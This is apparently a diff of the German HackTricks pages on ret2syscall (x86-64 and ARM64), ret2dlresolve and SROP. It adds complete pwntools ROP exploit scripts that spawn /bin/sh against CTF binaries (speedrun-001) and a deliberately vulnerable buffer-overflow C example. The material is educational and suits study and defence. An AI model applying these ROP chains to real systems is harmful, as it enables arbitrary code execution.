- **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
- **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
|
|
@ -20,15 +20,15 @@ Wie auf der Seite über [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.
|
|||
|
||||
Die Funktion **`_dl_runtime_resolve`** nimmt vom Stapel Verweise auf einige Strukturen entgegen, die sie benötigt, um das angegebene Symbol aufzulösen.
|
||||
|
||||
Daher ist es möglich, **alle diese Strukturen zu fälschen**, um das dynamische Verknüpfen das angeforderte Symbol (wie die **`system`**-Funktion) aufzulösen und mit einem konfigurierten Parameter aufzurufen (z. B. **`system('/bin/sh')`**).
|
||||
Daher ist es möglich, **alle diese Strukturen zu fälschen**, um das dynamische Verknüpfen zur Auflösung des angeforderten Symbols (wie der Funktion **`system`**) zu bringen und es mit einem konfigurierten Parameter aufzurufen (z. B. **`system('/bin/sh')`**).
|
||||
|
||||
Normalerweise werden all diese Strukturen gefälscht, indem eine **initiale ROP-Kette erstellt wird, die `read` aufruft** über einen beschreibbaren Speicher, dann werden die **Strukturen** und der String **`'/bin/sh'`** übergeben, damit sie von `read` an einem bekannten Ort gespeichert werden, und dann setzt die ROP-Kette fort, indem sie **`_dl_runtime_resolve`** aufruft, um die Adresse von `system` in den gefälschten Strukturen aufzulösen und diese Adresse mit der Adresse von `$'/bin/sh'` aufzurufen.
|
||||
|
||||
{% hint style="success" %}
|
||||
Diese Technik ist besonders nützlich, wenn es keine Syscall-Gadgets gibt (um Techniken wie [**ret2syscall**](rop-syscall-execv.md) oder [SROP](srop-sigreturn-oriented-programming.md) zu verwenden) und es keine Möglichkeiten gibt, libc-Adressen zu leaken.
|
||||
Diese Technik ist besonders nützlich, wenn es keine Syscall-Gadgets gibt (um Techniken wie [**ret2syscall**](rop-syscall-execv/) oder [SROP](srop-sigreturn-oriented-programming.md) zu verwenden) und es keine Möglichkeiten gibt, libc-Adressen zu leaken.
|
||||
{% endhint %}
|
||||
|
||||
Eine bessere Erklärung dieser Technik finden Sie in der zweiten Hälfte des Videos:
|
||||
Eine bessere Erklärung zu dieser Technik finden Sie in der zweiten Hälfte des Videos:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
|
||||
|
|
@ -178,4 +178,4 @@ target.interactive()
|
|||
* [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
|
||||
* [https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html)
|
||||
* 32-Bit, kein Relro, kein Canary, NX, kein PIE, grundlegender kleiner Pufferüberlauf und Rückgabe. Um sie auszunutzen, wird der Pufferüberlauf verwendet, um erneut `read` mit einem `.bss`-Abschnitt und einer größeren Größe aufzurufen, um die gefälschten `dlresolve`-Tabellen dort zu speichern, um `system` zu laden, zur Hauptfunktion zurückzukehren und den ursprünglichen Pufferüberlauf erneut zu missbrauchen, um dlresolve aufzurufen und dann `system('/bin/sh')` auszuführen.
|
||||
* 32-Bit, kein Relro, kein Canary, NX, kein PIE, grundlegender kleiner Pufferüberlauf und Rückgabe. Um sie auszunutzen, wird der Pufferüberlauf verwendet, um erneut `read` mit einem `.bss`-Abschnitt und einer größeren Größe aufzurufen, um dort die gefälschten `dlresolve`-Tabellen zu speichern, um `system` zu laden, zur Hauptfunktion zurückzukehren und den ursprünglichen Pufferüberlauf erneut zu missbrauchen, um dlresolve aufzurufen und dann `system('/bin/sh')` auszuführen.
|
||||
|
|
|
|||
|
|
@ -0,0 +1,194 @@
|
|||
# Ret2syscall
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
|
||||
</details>
|
||||
|
||||
## Grundlegende Informationen
|
||||
|
||||
Dies ist ähnlich wie Ret2lib, jedoch rufen wir in diesem Fall keine Funktion aus einer Bibliothek auf. In diesem Fall wird alles vorbereitet, um den Syscall `sys_execve` mit einigen Argumenten aufzurufen, um `/bin/sh` auszuführen. Diese Technik wird normalerweise bei statisch kompilierten Binärdateien durchgeführt, sodass es viele Gadgets und Syscall-Anweisungen geben kann.
|
||||
|
||||
Um den Aufruf des **Syscalls** vorzubereiten, ist die folgende Konfiguration erforderlich:
|
||||
|
||||
* `rax: 59 Sys_execve angeben`
|
||||
* `rdi: Zeiger auf "/bin/sh" gibt die auszuführende Datei an`
|
||||
* `rsi: 0 gibt an, dass keine Argumente übergeben werden`
|
||||
* `rdx: 0 gibt an, dass keine Umgebungsvariablen übergeben werden`
|
||||
|
||||
Im Grunde genommen ist es erforderlich, den String `/bin/sh` irgendwo zu schreiben und dann den `Syscall` auszuführen (unter Berücksichtigung des erforderlichen Paddings zur Steuerung des Stacks). Dafür benötigen wir einen Gadget, um `/bin/sh` an einer bekannten Stelle zu schreiben.
|
||||
|
||||
{% hint style="success" %}
|
||||
Ein weiterer interessanter Syscall, der aufgerufen werden kann, ist **`mprotect`**, mit dem ein Angreifer die **Berechtigungen einer Seite im Speicher ändern** kann. Dies kann mit [**ret2shellcode**](../../stack-overflow/stack-shellcode/) kombiniert werden.
|
||||
{% endhint %}
|
||||
|
||||
## Register-Gadgets
|
||||
|
||||
Beginnen wir damit, **wie diese Register kontrolliert werden können**:
|
||||
```bash
|
||||
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
|
||||
0x0000000000415664 : pop rax ; ret
|
||||
0x0000000000400686 : pop rdi ; ret
|
||||
0x00000000004101f3 : pop rsi ; ret
|
||||
0x00000000004498b5 : pop rdx ; ret
|
||||
```
|
||||
Mit diesen Adressen ist es möglich, **den Inhalt im Stack zu schreiben und in die Register zu laden**.
|
||||
|
||||
## String schreiben
|
||||
|
||||
### Beschreibbarer Speicher
|
||||
|
||||
Zuerst musst du einen beschreibbaren Ort im Speicher finden.
|
||||
```bash
|
||||
gef> vmmap
|
||||
[ Legend: Code | Heap | Stack ]
|
||||
Start End Offset Perm Path
|
||||
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
|
||||
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
|
||||
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
|
||||
```
|
||||
### Schreiben Sie einen String im Speicher
|
||||
|
||||
Dann müssen Sie einen Weg finden, beliebige Inhalte an diese Adresse zu schreiben
|
||||
```python
|
||||
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
|
||||
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
|
||||
```
|
||||
### Automatisiere ROP-Kette
|
||||
|
||||
Der folgende Befehl erstellt eine vollständige `sys_execve` ROP-Kette für ein statisches Binärprogramm, wenn Write-What-Where-Gadgets und Syscall-Anweisungen vorhanden sind:
|
||||
```bash
|
||||
ROPgadget --binary vuln --ropchain
|
||||
```
|
||||
#### 32 bits
|
||||
|
||||
#### 32 bits
|
||||
```python
|
||||
'''
|
||||
Lets write "/bin/sh" to 0x6b6000
|
||||
|
||||
pop rdx, 0x2f62696e2f736800
|
||||
pop rax, 0x6b6000
|
||||
mov qword ptr [rax], rdx
|
||||
'''
|
||||
|
||||
rop += popRdx # place value into EAX
|
||||
rop += "/bin" # 4 bytes at a time
|
||||
rop += popRax # place value into edx
|
||||
rop += p32(0x6b6000) # Writable memory
|
||||
rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
||||
|
||||
rop += popRdx
|
||||
rop += "//sh"
|
||||
rop += popRax
|
||||
rop += p32(0x6b6000 + 4)
|
||||
rop += writeGadget
|
||||
```
|
||||
#### 64 Bit
|
||||
```python
|
||||
'''
|
||||
Lets write "/bin/sh" to 0x6b6000
|
||||
|
||||
pop rdx, 0x2f62696e2f736800
|
||||
pop rax, 0x6b6000
|
||||
mov qword ptr [rax], rdx
|
||||
'''
|
||||
rop = ''
|
||||
rop += popRdx
|
||||
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
|
||||
rop += popRax
|
||||
rop += p64(0x6b6000) # Writable memory
|
||||
rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
||||
```
|
||||
## Fehlende Gadgets
|
||||
|
||||
Wenn Ihnen **Gadgets fehlen**, zum Beispiel um `/bin/sh` im Speicher zu schreiben, können Sie die **SROP-Technik verwenden, um alle Registerwerte** (einschließlich RIP und Param-Register) vom Stapel aus zu steuern:
|
||||
|
||||
{% content-ref url="../srop-sigreturn-oriented-programming.md" %}
|
||||
[srop-sigreturn-oriented-programming.md](../srop-sigreturn-oriented-programming.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Exploit-Beispiel
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
target = process('./speedrun-001')
|
||||
#gdb.attach(target, gdbscript = 'b *0x400bad')
|
||||
|
||||
# Establish our ROP Gadgets
|
||||
popRax = p64(0x415664)
|
||||
popRdi = p64(0x400686)
|
||||
popRsi = p64(0x4101f3)
|
||||
popRdx = p64(0x4498b5)
|
||||
|
||||
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
|
||||
writeGadget = p64(0x48d251)
|
||||
|
||||
# Our syscall gadget
|
||||
syscall = p64(0x40129c)
|
||||
|
||||
'''
|
||||
Here is the assembly equivalent for these blocks
|
||||
write "/bin/sh" to 0x6b6000
|
||||
|
||||
pop rdx, 0x2f62696e2f736800
|
||||
pop rax, 0x6b6000
|
||||
mov qword ptr [rax], rdx
|
||||
'''
|
||||
rop = ''
|
||||
rop += popRdx
|
||||
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
|
||||
rop += popRax
|
||||
rop += p64(0x6b6000)
|
||||
rop += writeGadget
|
||||
|
||||
'''
|
||||
Prep the four registers with their arguments, and make the syscall
|
||||
|
||||
pop rax, 0x3b
|
||||
pop rdi, 0x6b6000
|
||||
pop rsi, 0x0
|
||||
pop rdx, 0x0
|
||||
|
||||
syscall
|
||||
'''
|
||||
|
||||
rop += popRax
|
||||
rop += p64(0x3b)
|
||||
|
||||
rop += popRdi
|
||||
rop += p64(0x6b6000)
|
||||
|
||||
rop += popRsi
|
||||
rop += p64(0)
|
||||
rop += popRdx
|
||||
rop += p64(0)
|
||||
|
||||
rop += syscall
|
||||
|
||||
|
||||
# Add the padding to the saved return address
|
||||
payload = "0"*0x408 + rop
|
||||
|
||||
# Send the payload, drop to an interactive shell to use our new shell
|
||||
target.sendline(payload)
|
||||
|
||||
target.interactive()
|
||||
```
|
||||
## Weitere Beispiele & Referenzen
|
||||
|
||||
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
|
||||
* 64 Bit, kein PIE, nx, schreibe in einen Speicherbereich einen ROP, um `execve` aufzurufen und dorthin zu springen.
|
||||
* [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html)
|
||||
* 64 Bit, nx, kein PIE, schreibe in einen Speicherbereich einen ROP, um `execve` aufzurufen und dorthin zu springen. Um auf den Stapel eine Funktion zu schreiben, die mathematische Operationen ausführt, wird missbraucht.
|
||||
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
|
||||
* 64 Bit, kein PIE, nx, BF-Canary, schreibe in einen Speicherbereich einen ROP, um `execve` aufzurufen und dorthin zu springen.
|
||||
|
|
@ -0,0 +1,145 @@
|
|||
# Ret2syscall - ARM64
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
Finden Sie eine Einführung in arm64 in:
|
||||
|
||||
{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
|
||||
[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Code
|
||||
|
||||
Wir werden das Beispiel von der Seite verwenden:
|
||||
|
||||
{% content-ref url="../../stack-overflow/ret2win/ret2win-arm64.md" %}
|
||||
[ret2win-arm64.md](../../stack-overflow/ret2win/ret2win-arm64.md)
|
||||
{% endcontent-ref %}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
|
||||
void win() {
|
||||
printf("Congratulations!\n");
|
||||
}
|
||||
|
||||
void vulnerable_function() {
|
||||
char buffer[64];
|
||||
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
|
||||
}
|
||||
|
||||
int main() {
|
||||
vulnerable_function();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Kompilieren ohne PIE und Canary:
|
||||
```bash
|
||||
clang -o ret2win ret2win.c -fno-stack-protector
|
||||
```
|
||||
## Gadgets
|
||||
|
||||
Um denlichten **syscall** vorzubereiten, ist die folgende Konfiguration erforderlich:
|
||||
|
||||
- `x8: 221 Sys_execve angeben`
|
||||
- `x0: Zeiger auf "/bin/sh" gibt die auszuführende Datei an`
|
||||
- `x1: 0 gibt an, dass keine Argumente übergeben werden`
|
||||
- `x2: 0 gibt an, dass keine Umgebungsvariablen übergeben werden`
|
||||
|
||||
Mit ROPgadget.py konnte ich die folgenden Gadgets lokalisieren:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```armasm
|
||||
;Load x0, x1 and x3 from stack and x5 and call x5
|
||||
0x0000000000114c30:
|
||||
ldp x3, x0, [sp, #8] ;
|
||||
ldp x1, x4, [sp, #0x18] ;
|
||||
ldr x5, [sp, #0x58] ;
|
||||
ldr x2, [sp, #0xe0] ;
|
||||
blr x5
|
||||
|
||||
;Move execve syscall (0xdd) to x8 and call it
|
||||
0x00000000000bb97c :
|
||||
nop ;
|
||||
nop ;
|
||||
mov x8, #0xdd ;
|
||||
svc #0
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Mit den vorherigen Gadgets können wir alle benötigten Register vom Stapel aus steuern und x5 verwenden, um zum zweiten Gadget zu springen und den Syscall aufzurufen.
|
||||
|
||||
### Ausnutzen
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
p = process('./ret2syscall')
|
||||
elf = context.binary = ELF('./ret2syscall')
|
||||
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
|
||||
libc.address = 0x0000fffff7df0000 # ASLR disabled
|
||||
binsh = next(libc.search(b"/bin/sh"))
|
||||
|
||||
stack_offset = 72
|
||||
|
||||
#0x0000000000114c2c : bl #0x133070 ; ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5
|
||||
load_x0_x1_x2 = libc.address + 0x114c30 # ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5
|
||||
|
||||
# 0x00000000000bb97c : nop ; nop ; mov x8, #0xdd ; svc #0
|
||||
call_execve = libc.address + 0xbb97c
|
||||
|
||||
print("/bin/sh in: " + hex(binsh))
|
||||
print("load_x0_x1_x2 in: " + hex(load_x0_x1_x2))
|
||||
print("call_execve in: " + hex(call_execve))
|
||||
|
||||
# stack offset
|
||||
bof = b"A" * (stack_offset)
|
||||
bof += p64(load_x0_x1_x2)
|
||||
|
||||
# ldp x3, x0, [sp, #8]
|
||||
rop = b"BBBBBBBBBBBBBBBB" #x3
|
||||
rop += p64(binsh) #x0
|
||||
|
||||
# ldp x1, x4, [sp, #0x18]
|
||||
rop += b"C"*(0x18 - len(rop))
|
||||
rop += p64(0x00) # x1
|
||||
rop += b"CCCCCCCC" #x4
|
||||
|
||||
# ldr x5, [sp, #0x58]
|
||||
rop += b"D"*(0x58 - len(rop))
|
||||
rop += p64(call_execve) # x5
|
||||
|
||||
# ldr x2, [sp, #0xe0]
|
||||
rop += b"E" * (0xe0 - len(rop))
|
||||
rop += p64(0x00) # x2
|
||||
|
||||
payload = bof + rop
|
||||
|
||||
p.sendline(payload)
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
|
@ -23,13 +23,13 @@ Nachdem der Signalhandler fertig ist, muss das Programm seinen vorherigen Zustan
|
|||
Der interessante Teil ist, wie **`sigreturn`** den Zustand des Programms wiederherstellt: Es speichert **alle Registerwerte der CPU auf dem Stack**. Wenn das Signal nicht mehr blockiert ist, **`sigreturn` poppt diese Werte vom Stack ab**, wodurch die Register der CPU effektiv auf ihren Zustand vor der Behandlung des Signals zurückgesetzt werden. Dies beinhaltet das Stackzeigerregister (RSP), das auf den aktuellen oberen Teil des Stacks zeigt.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Indem man den Syscall **`sigreturn`** aus einer ROP-Kette aufruft und **die Registerwerte hinzufügt**, die wir möchten, dass sie im **Stack** geladen werden, ist es möglich, alle Registerwerte zu **kontrollieren** und daher beispielsweise den Syscall `execve` mit `/bin/sh` aufzurufen.
|
||||
Durch Aufrufen des Syscalls **`sigreturn`** aus einer ROP-Kette und **Hinzufügen der Registerwerte**, die wir möchten, dass es im **Stack** lädt, ist es möglich, alle Registerwerte zu **kontrollieren** und daher beispielsweise den Syscall `execve` mit `/bin/sh` aufzurufen.
|
||||
{% endhint %}
|
||||
|
||||
Beachten Sie, dass dies eine Art von Ret2syscall wäre, die es viel einfacher macht, Parameter zu steuern, um andere Ret2syscalls aufzurufen:
|
||||
|
||||
{% content-ref url="rop-syscall-execv.md" %}
|
||||
[rop-syscall-execv.md](rop-syscall-execv.md)
|
||||
{% content-ref url="rop-syscall-execv/" %}
|
||||
[rop-syscall-execv](rop-syscall-execv/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Wenn Sie neugierig sind, handelt es sich hierbei um die **sigcontext-Struktur**, die im Stack gespeichert ist, um die Werte später wiederherzustellen (Diagramm von [**hier**](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)):
|
||||
|
|
@ -74,7 +74,7 @@ Für eine bessere Erklärung siehe auch:
|
|||
|
||||
## Beispiel
|
||||
|
||||
Sie können [**hier ein Beispiel finden**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop), wo der Aufruf von signeturn über ROP konstruiert wird (wobei in rxa der Wert `0xf` eingefügt wird), obwohl dies der endgültige Exploit von dort ist:
|
||||
Sie können [**hier ein Beispiel finden**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop), wo der Aufruf von signeturn über ROP konstruiert wird (wobei in rxa der Wert `0xf` eingefügt wird), obwohl dies der endgültige Exploit von dort aus ist:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
|
@ -139,10 +139,10 @@ target.interactive()
|
|||
* [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
|
||||
* [https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)
|
||||
* Assemblierungs-Binary, das es ermöglicht, **auf den Stack zu schreiben** und dann den **`sigreturn`**-Syscall aufzurufen. Es ist möglich, über eine **sigreturn**-Struktur ein [**ret2syscall**](rop-syscall-execv.md) auf den Stack zu schreiben und die Flagge zu lesen, die sich im Speicher des Binärprogramms befindet.
|
||||
* Assemblierungs-Binary, das es ermöglicht, **auf den Stack zu schreiben** und dann den **`sigreturn`**-Syscall aufzurufen. Es ist möglich, über eine **sigreturn**-Struktur ein [**ret2syscall**](rop-syscall-execv/) auf den Stack zu schreiben und die Flagge zu lesen, die sich im Speicher des Binärprogramms befindet.
|
||||
* [https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html)
|
||||
* Assemblierungs-Binary, das es ermöglicht, **auf den Stack zu schreiben** und dann den **`sigreturn`**-Syscall aufzurufen. Es ist möglich, über eine **sigreturn**-Struktur (das Binary enthält den String `/bin/sh`) ein [**ret2syscall**](rop-syscall-execv.md) auf den Stack zu schreiben.
|
||||
* Assemblierungs-Binary, das es ermöglicht, **auf den Stack zu schreiben** und dann den **`sigreturn`**-Syscall aufzurufen. Es ist möglich, über eine **sigreturn**-Struktur (das Binary enthält den String `/bin/sh`) ein [**ret2syscall**](rop-syscall-execv/) auf den Stack zu schreiben.
|
||||
* [https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html)
|
||||
* 64 Bit, kein relro, kein Canary, nx, kein pie. Einfacher Pufferüberlauf, der die `gets`-Funktion ausnutzt, ohne Gadgets, die ein [**ret2syscall**](rop-syscall-execv.md) ausführen. Die ROP-Kette schreibt `/bin/sh` in den `.bss`, indem sie erneut `gets` aufruft, missbraucht die **`alarm`**-Funktion, um eax auf `0xf` zu setzen, um einen **SROP** aufzurufen und eine Shell auszuführen.
|
||||
* 64 Bit, kein relro, kein Canary, nx, kein pie. Einfacher Pufferüberlauf, der die `gets`-Funktion ausnutzt, ohne Gadgets, die ein [**ret2syscall**](rop-syscall-execv/) ausführen. Die ROP-Kette schreibt `/bin/sh` in den `.bss`, indem sie erneut `gets` aufruft, missbraucht die **`alarm`**-Funktion, um eax auf `0xf` zu setzen, um einen **SROP** aufzurufen und eine Shell auszuführen.
|
||||
* [https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html)
|
||||
* 64-Bit-Assemblierungsprogramm, kein relro, kein Canary, nx, kein pie. Der Ablauf ermöglicht das Schreiben in den Stack, die Kontrolle mehrerer Register und das Aufrufen eines Syscalls, gefolgt von einem Aufruf von `exit`. Der ausgewählte Syscall ist ein `sigreturn`, der Register setzt und `eip` bewegt, um eine vorherige Syscall-Anweisung aufzurufen und `memprotect` auszuführen, um den Binärraum auf `rwx` zu setzen und den ESP im Binärraum zu setzen. Im weiteren Verlauf ruft das Programm erneut read in ESP auf, wobei ESP in diesem Fall auf die nächste Anweisung zeigt. Wenn ein Shellcode übergeben wird, schreibt er ihn als nächste Anweisung und führt ihn aus.
|
||||
* 64-Bit-Assemblierungsprogramm, kein relro, kein Canary, nx, kein pie. Der Ablauf ermöglicht das Schreiben in den Stack, die Kontrolle mehrerer Register und das Aufrufen eines Syscalls, gefolgt von einem Aufruf von `exit`. Der ausgewählte Syscall ist ein `sigreturn`, der Register setzt und `eip` bewegt, um eine vorherige Syscall-Anweisung aufzurufen und `memprotect` auszuführen, um den Binärraum auf `rwx` zu setzen und den ESP im Binärraum zu setzen. Im weiteren Verlauf ruft das Programm erneut read in ESP auf, aber in diesem Fall zeigt ESP auf die nächste Anweisung, sodass beim Übergeben eines Shellcodes dieser als nächste Anweisung geschrieben und ausgeführt wird.
|
||||
|
|
|
|||
Loading…
Reference in a new issue